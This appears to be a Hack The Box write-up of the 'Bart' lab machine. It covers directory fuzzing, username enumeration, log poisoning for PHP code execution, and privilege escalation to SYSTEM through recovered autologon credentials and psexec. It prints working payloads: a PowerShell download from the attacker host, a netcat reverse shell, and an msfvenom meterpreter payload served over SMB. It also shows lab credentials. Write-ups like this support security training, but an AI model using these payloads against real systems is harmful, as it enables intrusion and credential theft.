&lt;p&gt;Visiting the page in a browser you see that every page you attempt to go to returns the same error page. This technique is pretty common in modern web applications to return a page with the error instead of a standard 404 error message stating that something was wrong.&lt;/p&gt;

&lt;p&gt;This will render tools like &lt;em&gt;gobuster, dirb or dirbuster&lt;/em&gt; basically useless to gather information since the results will be filled with false positives or will require additional post process filtering to figure out what’s actually real.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/bart/3.png&quot; alt=&quot;&amp;quot;Error Page Returned&amp;quot;&quot; title=&quot;Error Page Returned&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To circumvent this we can use &lt;code class=&quot;highlighter-rouge&quot;&gt;wfuzz&lt;/code&gt; as our directory brute forcer, and filter the results based on a character count baseline. 
As you can see below, the resulting error page wfuzz detects as having &lt;code class=&quot;highlighter-rouge&quot;&gt;158607&lt;/code&gt; characters in the response. We can use this as our baseline and ignore all responses that have &lt;code class=&quot;highlighter-rouge&quot;&gt;158607 ch&lt;/code&gt; in them, which in turn would only show us pages that are different (unique content) with the &lt;code class=&quot;highlighter-rouge&quot;&gt;--hh&lt;/code&gt; flag.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://bart.htb/FUZZ/
Total requests: 220560

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

000001:  C=302      0 L        0 W            0 Ch        &quot;# directory-list-2.3-medium.txt&quot;
000002:  C=302      0 L        0 W            0 Ch        &quot;#&quot;
000009:  C=302      0 L        0 W            0 Ch        &quot;# Suite 300, San Francisco, California, 94105, USA.&quot;
000003:  C=302      0 L        0 W            0 Ch        &quot;# Copyright 2007 James Fisher&quot;
000004:  C=302      0 L        0 W            0 Ch        &quot;#&quot;
000005:  C=302      0 L        0 W            0 Ch        &quot;# This work is licensed under the Creative Commons&quot;
000016:  C=200    630 L     3775 W        158607 Ch       &quot;images&quot;
000018:  C=200    630 L     3775 W        158607 Ch       &quot;2006&quot;
000017:  C=200    630 L     3775 W        158607 Ch       &quot;download&quot;
000026:  C=200    630 L     3775 W        158607 Ch       &quot;about&quot;
000021:  C=200    630 L     3775 W        158607 Ch       &quot;serial&quot;
000025:  C=200    630 L     3775 W        158607 Ch       &quot;contact&quot;
000027:  C=200    630 L     3775 W        158607 Ch       &quot;search&quot;
000028:  C=200    630 L     3775 W        158607 Ch       &quot;spacer&quot;
000022:  C=200    630 L     3775 W        158607 Ch       &quot;warez&quot;
000023:  C=200    630 L     3775 W        158607 Ch       &quot;full&quot;
000019:  C=200    630 L     3775 W        158607 Ch       &quot;news&quot;
000024:  C=200    630 L     3775 W        158607 Ch       &quot;12&quot;
000032:  C=200    630 L     3775 W        158607 Ch       &quot;blog&quot;
000029:  C=200    630 L     3775 W        158607 Ch       &quot;privacy&quot;
000034:  C=200    630 L     3775 W        158607 Ch       &quot;10&quot;
000073:  C=200    630 L     3775 W        158607 Ch       &quot;category&quot;
000031:  C=200    630 L     3775 W        158607 Ch       &quot;logo&quot;
000080:  C=200    630 L     3775 W        158607 Ch       &quot;media&quot;
000075:  C=200    630 L     3775 W        158607 Ch       &quot;content&quot;
000033:  C=200    630 L     3775 W        158607 Ch       &quot;new&quot;
000079:  C=200    630 L     3775 W        158607 Ch       &quot;press&quot;
000076:  C=200    630 L     3775 W        158607 Ch       &quot;14&quot;
000083:  C=200    630 L     3775 W        158607 Ch       &quot;icons&quot;
000081:  C=200    630 L     3775 W        158607 Ch       &quot;templates&quot;
000082:  C=200    630 L     3775 W        158607 Ch       &quot;services&quot;
000020:  C=200    630 L     3775 W        158607 Ch       &quot;crack&quot;
000030:  C=200    630 L     3775 W        158607 Ch       &quot;11&quot;
000035:  C=200    630 L     3775 W        158607 Ch       &quot;cgi-bin&quot;
000077:  C=200    630 L     3775 W        158607 Ch       &quot;main&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Using Wfuzz to hide the error page responses&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart# wfuzz -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bart.htb/FUZZ/ --hh 158607

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer                         *
********************************************************

Target: http://bart.htb/FUZZ/
Total requests: 220560

==================================================================
ID      Response   Lines      Word         Chars          Payload
==================================================================

000014:  C=302      0 L        0 W            0 Ch        &quot;&quot;
000067:  C=200    548 L     2412 W        35529 Ch        &quot;forum&quot;
001614:  C=200     80 L      221 W         3423 Ch        &quot;monitor&quot;
002385:  C=200    548 L     2412 W        35529 Ch        &quot;Forum&quot;
019837:  C=200     80 L      221 W         3423 Ch        &quot;Monitor&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;From our results we can see that there’s content being served from the &lt;em&gt;“forum”&lt;/em&gt; and &lt;em&gt;“monitor”&lt;/em&gt; directories with the forum being &lt;code class=&quot;highlighter-rouge&quot;&gt;forum.bart.htb&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;monitorbarthtb&quot;&gt;monitor.bart.htb&lt;/h3&gt;

&lt;p&gt;Visting &lt;code class=&quot;highlighter-rouge&quot;&gt;monitor.bart.htb&lt;/code&gt; in our browser reveals the application “&lt;a href=&quot;http://www.phpservermonitor.org/&quot;&gt;PHP Server Monitor v3.2.1&lt;/a&gt;”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/4.png&quot; alt=&quot;&amp;quot;Monitoring Application&amp;quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After trying the usual hack the box username:password combininations with no luck we begin looking for another avenue to get into this application. PHP monitor has a password reset function, which only takes a username. When you attempt to do a password reset on a user that doesn’t exist you get the following error.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/5.png&quot; alt=&quot;&amp;quot;Forgot my password -- fail&amp;quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;With this knowledge we can attempt to enumerate usernames in a targeted manner using the information gathered from &lt;code class=&quot;highlighter-rouge&quot;&gt;forum.bart.htb&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I compiled a short list of possible user names from the site:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;potential usernames compiled from forum.bart.htb&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/bart# cat names.txt
s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb
info@bart.htb
s.brown
d.simmons
r.hilton
h.potter
info
samantha
brown
daniel
simmons
robert
hilton
harvey
potter
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We can use &lt;a href=&quot;https://portswigger.net/burp/help/intruder_gettingstarted&quot;&gt;burpsuite intruder&lt;/a&gt; coupled with the simple list payload to perform this attack.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/12.png&quot; alt=&quot;&amp;quot;Burpsuite Simple List Payload&amp;quot;&quot; title=&quot;Burpsuite Simple List Payload&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is how we can set up burpsuite intruder to perform our attack.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/17.png&quot; alt=&quot;&amp;quot;Setting up burp suite intruder&amp;quot;&quot; title=&quot;Setting up burp suite intruder&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/18.png&quot; alt=&quot;&amp;quot;Intruder Results&amp;quot;&quot; title=&quot;Intruder results&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the results of our intruder attack we see that we have two valid usernames &lt;code class=&quot;highlighter-rouge&quot;&gt;harvey&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;daniel&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After some educated guessing you will discover a valid username:password combination of &lt;code class=&quot;highlighter-rouge&quot;&gt;harvey:potter&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When you attempt to authenticate you are redirected to &lt;code class=&quot;highlighter-rouge&quot;&gt;monitor.bart.htb&lt;/code&gt; which fails to resolve similar to forums. We add &lt;code class=&quot;highlighter-rouge&quot;&gt;monitor.bart.htb&lt;/code&gt; to our &lt;code class=&quot;highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; file and attempt to reauthenticate with our newly found credentials.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~# echo &quot;10.10.10.81 monitor.bart.htb &quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;After we re-authenticate we are greeted with the following page.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/8.png&quot; alt=&quot;&amp;quot;Authenting to Server Monitor&amp;quot;&quot; title=&quot;Authenticating to Server Monitor&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Browsing around you see there is an entry for the “Internal Chat” service&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Viewing the details of “Internal Chat” reveals that there is another application on a different domain &lt;em&gt;“internal-01.bart.htb”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/10.png&quot; alt=&quot;&amp;quot;Discovering internal-01.bart.htb&amp;quot;&quot; title=&quot;Discovering internal-01.bart.htb&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;exploitation&quot;&gt;Exploitation&lt;/h2&gt;
&lt;h3 id=&quot;simple-chat-source-code-discovery--account-registration&quot;&gt;Simple Chat Source Code Discovery &amp;amp; Account Registration&lt;/h3&gt;

&lt;p&gt;Visting &lt;code class=&quot;highlighter-rouge&quot;&gt;internal-01.bart.htb&lt;/code&gt; in our browser reveals the login page of bart’s internal “dev chat”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/19.png&quot; alt=&quot;&amp;quot;Dev chat internal login page&amp;quot;&quot; title=&quot;Dev chat internal login page&quot; /&gt;&lt;/p&gt;

&lt;p&gt;while running gobuster &amp;amp; sqlmap in the background if you did some googling on “simple chat” you will discover the following github repo &lt;a href=&quot;https://github.com/magkopian/php-ajax-simple-chat&quot;&gt;https://github.com/magkopian/php-ajax-simple-chat&lt;/a&gt;. To validate that these two applications are the same, I inspected the &lt;a href=&quot;https://github.com/magkopian/php-ajax-simple-chat/blob/master/simple_chat/css/chat_global.css&quot;&gt;css/chat_global.css&lt;/a&gt; file and sure enough it was the same application. 
Looking at the application’s code we see that’s there is registration functionality. The application doesn’t directly give you an option to register for an account, but it seems shoddily built so likely we can try manually crafting the request to register the account and hope nothing changed (we know the location and the parameters required to register an account from auditing the register.php source code).&lt;/p&gt;

&lt;p&gt;Sure enough, we are able to register an account with a username:password of &lt;code class=&quot;highlighter-rouge&quot;&gt;medic:medicmedic&lt;/code&gt; on the internal dev chat by crafting our request just right.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/20.png&quot; alt=&quot;&amp;quot;Creating Account on Dev Chat&amp;quot;&quot; title=&quot;Creating Account on Dev Chat&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://dastinia.io/assets/images/htb/bart/13.png&quot; alt=&quot;&amp;quot;Authenticating to Internal Chat&amp;quot;&quot; title=&quot;Authenticating to internal chat&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;getting-rce-through-lfi--log-poisoning&quot;&gt;Getting RCE through LFI &amp;amp; Log Poisoning&lt;/h3&gt;
&lt;p&gt;Clicking the log link will cause two alerts to appear that seemly do nothing. Inspecting the original application code, there are no references to a “log” functionality so this must be a 3rd party modification. After some fiddling &amp;amp; inspecting the request history in burp suite, you will see that the application will record the username &amp;amp; your user-agent in a log file as seen below.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/hRS2rqK.png&quot; alt=&quot;&amp;quot;Logged useragent&amp;quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since we can control what our user agent is we can use this to execute php code by visiting the log file page.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET //log/log.php?username=harvey&amp;amp;filename=log.php HTTP/1.1

Host: internal-01.bart.htb

User-Agent: &amp;lt;?php exec('whoami'); ?&amp;gt; Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=4o03rnotk1l5b2ols3mkmqm8u9

Connection: close

Upgrade-Insecure-Requests: 1

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb/bart/21.png&quot; alt=&quot;&amp;quot;Code Execution Sucesss&quot; title=&quot;Code Execution Success&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To speed this up I recommend having 2-3 repeater tabs open. One to input commands into, and one to visit the page to trigger the execution.&lt;/p&gt;

&lt;p&gt;We upload &amp;amp; execute a 64-bit netcat binary onto the machine (important for later) so we can get an interactive shell.&lt;/p&gt;

&lt;p&gt;I injected the following code into the &lt;code class=&quot;highlighter-rouge&quot;&gt;user agent&lt;/code&gt; field. Make sure you remember to escape the &lt;code class=&quot;highlighter-rouge&quot;&gt;\&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;powershell -command &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;(New-Object System.Net.WebClient).DownloadFile('http://10.10.15.171:7777/nc.exe','nc.exe')&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;nc.exe 10.10.15.171 6667 -e cmd.exe&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting shell&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~# ncat -lnvp 6667
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6667
Ncat: Listening on 0.0.0.0:6667
Ncat: Connection from 10.10.10.81.
Ncat: Connection from 10.10.10.81:49886.
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\inetpub\wwwroot\internal-01\log&amp;gt;dir
 Volume in drive C has no label.
 Volume Serial Number is F84E-9CF7

 Directory of C:\inetpub\wwwroot\internal-01\log

12/07/2018  04:06    &amp;lt;DIR&amp;gt;          .
12/07/2018  04:06    &amp;lt;DIR&amp;gt;          ..
12/07/2018  04:00               101 log.ph
12/07/2018  04:05             2,643 log.php
12/07/2018  04:01               303 log.txt
21/02/2018  20:44    &amp;lt;DIR&amp;gt;          Microsoft
12/07/2018  04:06            59,392 nc.exe
               4 File(s)         62,439 bytes
               3 Dir(s)  15,505,301,504 bytes free

C:\inetpub\wwwroot\internal-01\log&amp;gt;whoami
nt authority\iusr
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;Poking around the system you will see that there’s not much going on. It’s a pretty recent build of windows, so that rules a lot of good chunk of kerel-based lpe exploits. Poking around the application folders you discover the password for the mysql database as seen below. You will realize that this was unhelpful information, after attempting to use this password against all the user accounts present on the box.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\inetpub\wwwroot\internal-01\simple_chat\includes&amp;gt;type dbconnect.php
...[snip]...
function db_connect() {
        $con = @mysqli_connect('localhost', 'harvey', '!IC4nB3Th3B3st?', 'internal_chat');
        if ($con === false) {
                return false;
        }

        mysqli_set_charset ($con , 'UTF-8');
        return $con;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;getting-x64-meterpreter-shell--impacket&quot;&gt;Getting x64 meterpreter shell &amp;amp; impacket&lt;/h3&gt;

&lt;p&gt;Lets generate a x64 bit meterpreter payload and make an smb share with &lt;code class=&quot;highlighter-rouge&quot;&gt;impacket&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;generate payload msfvenom&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/serve/windows/kk# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.171 LPORT=6969 -f exe &amp;gt; 6969.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;impacket-smb share&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:/opt/serve/windows# impacket-smbserver kk kk
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.81,49813)
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;setting up multihandler&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use exploit/multi/handler
msf exploit(multi/handler) &amp;gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD =&amp;gt; windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) &amp;gt; set LHOST tun0
LHOST =&amp;gt; tun0
msf exploit(multi/handler) &amp;gt; set LPORT 6969
LPORT =&amp;gt; 6969
msf exploit(multi/handler) &amp;gt; set ExitonSession False
ExitonSession =&amp;gt; false
msf exploit(multi/handler) &amp;gt; run -j
[*] Exploit running as background job 2.

[*] Started reverse TCP handler on 10.10.15.171:6969
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;executting our payload from smb share &amp;amp; getting shell&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\inetpub\wwwroot\internal-01\log&amp;gt;\\10.10.15.171\kk\6969.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;session&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf exploit(multi/handler) &amp;gt;
[*] Sending stage (206403 bytes) to 10.10.10.81
[*] Meterpreter session 1 opened (10.10.15.171:6969 -&amp;gt; 10.10.10.81:51934) at 2018-07-14 11:44:39 -0400

Active sessions
===============

  Id  Name  Type                     Information               Connection
  --  ----  ----                     -----------               ----------
  1         meterpreter x64/windows  NT AUTHORITY\IUSR @ BART  10.10.15.171:6969 -&amp;gt; 10.10.10.81:51934 (10.10.10.81)

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The meterpreter shell will die after some time, as well as the AV on the system will delete your shell after you execute it from the SMB share.&lt;/p&gt;

&lt;h3 id=&quot;recovering-administrator-autologon-credentials&quot;&gt;Recovering Administrator AutoLogon Credentials&lt;/h3&gt;

&lt;p&gt;At this point I did a good chunk of manual enumeration on the system. After manually performing the standard windows priviledge escapation tectures you discover that there are credentials stored in  the autologon runkey. Here are a few  resources I felt are pretty decent at explaining the things you should look for local windows privilege escalation. &lt;a href=&quot;http://www.fuzzysecurity.com/tutorials/16.html&quot;&gt;Fuzzy Security - Windows Privilege Escalation  Fundamentals&lt;/a&gt;, &lt;a href=&quot;https://pentestlab.blog/2017/04/19/stored-credentials/&quot;&gt;Pentestlab&lt;/a&gt;, and &lt;a href=&quot;https://daya.blog/2018/01/06/windows-privilege-escalation/&quot;&gt;Daya Privilege Escalation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For some reason I wasn’t getting the result I wanted when I performed this action with a regular shell. I’m going to investigate this tomorrow.&lt;/p&gt;

&lt;p&gt;It did work with powershell running the following command: &lt;code class=&quot;highlighter-rouge&quot;&gt;Get-ItemProperty -path &quot;HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Since we are already using Metasploit for this box there is a Metasploit post exploitation module called &lt;code class=&quot;highlighter-rouge&quot;&gt;windows_autologin&lt;/code&gt; which will extract any autologon credentials from the registry.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf &amp;gt; use windows/gather/credentials/windows_autologin
msf post(windows/gather/credentials/windows_autologin) &amp;gt; set SESSION 7
SESSION =&amp;gt; 7
msf post(windows/gather/credentials/windows_autologin) &amp;gt; run

[*] Running against BART on session 7
[+] AutoAdminLogon=1, DefaultDomain=DESKTOP-7I3S68E, DefaultUser=Administrator, DefaultPassword=3130438f31186fbaf962f407711faddb
[*] Post module execution completed
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;getting-system-with-pthpsexec&quot;&gt;Getting System with PTH/PSEXEC&lt;/h3&gt;

&lt;p&gt;Now that we have the administrators credential getting system should be a snap.&lt;/p&gt;

&lt;p&gt;We can perform a &lt;a href=&quot;https://www.toshellandback.com/2017/02/11/psexec/&quot;&gt;Pass the Hash Attack&lt;/a&gt; with metasploit’s various psexec modules. We need to add a route to the system so that the module can access the smb port 445 listening locally on the box. This can be achieved with metasploit’s &lt;a href=&quot;http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through.html&quot;&gt;route add&lt;/a&gt; command.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf&amp;gt; use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) &amp;gt; set SMBUser Administrator
SMBUser =&amp;gt; Administrator
msf auxiliary(admin/smb/psexec_command) &amp;gt; set SMBPass 3130438f31186fbaf962f407711faddb
SMBPass =&amp;gt; 3130438f31186fbaf962f407711faddb
msf auxiliary(admin/smb/psexec_command) &amp;gt; set COMMAND \\\\10.10.15.171\\\kk\\\6969.exe
COMMAND =&amp;gt; \\10.10.15.171\kk\6969.exe
msf auxiliary(admin/smb/psexec_command) &amp;gt; set RHOSTS 10.10.10.81
RHOSTS =&amp;gt; 10.10.10.81
msf auxiliary(admin/smb/psexec_command) &amp;gt; options

Module options (auxiliary/admin/smb/psexec_command):

   Name                  Current Setting                   Required  Description
   ----                  ---------------                   --------  -----------
   COMMAND               \\10.10.15.171\kk\6969.exe        yes       The command you want to execute on the remote host
   RHOSTS                10.10.10.81                       yes       The target address range or CIDR identifier
   RPORT                 445                               yes       The Target port
   SERVICE_DESCRIPTION                                     no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                    no        The service display name
   SERVICE_NAME                                            no        The service name
   SMBDomain             .                                 no        The Windows domain to use for authentication
   SMBPass               3130438f31186fbaf962f407711faddb  no        The password for the specified username
   SMBSHARE              C$                                yes       The name of a writeable share on the server
   SMBUser               Administrator                     no        The username to authenticate as
   THREADS               1                                 yes       The number of concurrent threads
   WINPATH               WINDOWS                           yes       The name of the remote Windows directory
msf auxiliary(admin/smb/psexec_command) &amp;gt; route add 10.10.10.81/32 255.255.255.255 7
[*] Route added
msf auxiliary(admin/smb/psexec_command) &amp;gt; run

[+] 10.10.10.81:445       - Service start timed out, OK if running a command or non-service executable...
[*] 10.10.10.81:445       - checking if the file is unlocked
[*] 10.10.10.81:445       - Unable to get handle: The server responded with error: STATUS_SHARING_VIOLATION (Command=45 WordCount=0)
[-] 10.10.10.81:445       - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 10.10.10.81:445       - Getting the command output...
[*] 10.10.10.81:445       - Command finished with no output
[*] 10.10.10.81:445       - Executing cleanup...
[+] 10.10.10.81:445       - Cleanup was successful
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(admin/smb/psexec_command) &amp;gt;
[*] Sending stage (206403 bytes) to 10.10.10.81
[*] Meterpreter session 8 opened (10.10.15.171:6969 -&amp;gt; 10.10.10.81:49866) at 2018-07-14 01:15:57 -0400


msf auxiliary(admin/smb/psexec_command) &amp;gt; sessions

Active sessions
===============

  Id  Name  Type                     Information                 Connection
  --  ----  ----                     -----------                 ----------
  7         meterpreter x64/windows  NT AUTHORITY\IUSR @ BART    10.10.15.171:6969 -&amp;gt; 10.10.10.81:49863 (10.10.10.81)
  8         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ BART  10.10.15.171:6969 -&amp;gt; 10.10.10.81:49866 (10.10.10.81)

msf auxiliary(admin/smb/psexec_command) &amp;gt; sessions -i 8
[*] Starting interaction with 8...
meterpreter &amp;gt; sysinfo
Computer        : BART
OS              : Windows 10 (Build 15063).
Architecture    : x64
System Language : en_GB
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
meterpreter &amp;gt; getuid
Server username: NT AUTHORITY\SYSTEM

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;That’s all for now. I’m pretty busy with oscp &amp;amp; work so hopefully the next few boxes are machines I already have writeups completed for. I’ll also update this post on how to complete this box without metasploit after I get some sleep.&lt;/p&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><category term="windows" /><category term="log-posion" /><category term="lfi" /><category term="winlogon" /><category term="pivot" /><category term="oscp-like" /><summary type="html">Introduction I felt like Bart was a pretty good box. It’s extremely similar to some of the boxes in the OSCP labs, and the avenue used to get code execution I’ve already seen at least twice so far. If you are taking the OSCP (I currently am) I highly recommend going through the motions of this box because Bart is a prime example of a potential box you would get, with very similar attack vectors that you need to be able to exploit. I plan on editing this write-up a bit later to include how to complete this box without the use of Metasploit, but only after I get some sleep since I’ve been up all night. Sorry if there are any quailty control mistakes in advance it’s too early for me. Tools Used Nmap BurpSuite GoBuster Ncat Metasploit Framework WFuzz Netcat (64bit) Impacket Enumeration Initial Scanning Like with every hack the box machine lets begin with an nmap scan against Bart (10.10.10.81) root@dastinia:~/htb/bart# nmap -sV -sC 10.10.10.81 -oA nmap/bart_initscan Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-11 21:17 EDT 